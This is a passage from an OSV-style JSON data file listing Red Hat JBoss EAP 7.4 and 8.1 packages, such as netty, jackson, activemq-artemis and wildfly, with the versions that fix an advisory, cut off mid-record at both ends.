Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-java-jdk21","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform:8.1::el9","package":"eap8-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.1.7.1-1.GA_redhat_00004.1.el9eap"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-core-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-core-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-deployers-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-jdbc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-ironjacamar-validator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-datatype-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-datatype-jsr310","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-json-provider","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-jaxrs-providers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-module-jaxb-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-modules-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jackson-modules-java8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.18.8-1.redhat_00003.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-remoting","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:5.0.31-3.SP2_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-jboss-server-migration-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.10.0-46.Final_redhat_00044.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-epoll-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.1.135-1.Final_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-bindings","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-federation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-idm-simple-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-24.SP12_redhat_00016.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-picketlink-wildfly8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.5-30.SP12_redhat_00020.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-undertow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.2.40-2.SP3_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-java-jdk11","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-java-jdk8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-javadocs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el7","package":"eap7-wildfly-modules","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:7.4.25-2.GA_redhat_00001.1.el7eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-commons","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-core-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-dto","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-hornetq-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-hqclient-protocol","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jdbc-store","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jms-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-jms-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-journal","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-ra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-selector","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-service-extensions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-activemq-artemis-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.16.0-22.redhat_00057.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-glassfish-jsf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.3.14-11.SP11_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-impl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red Hat:jboss_enterprise_application_platform_els:7.4::el8","package":"eap7-ironjacamar-common-spi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.26-2.Final_redhat_00001.1.el8eap"}]}],"bundled":41},{"source":"osv","ecosystem":"Red 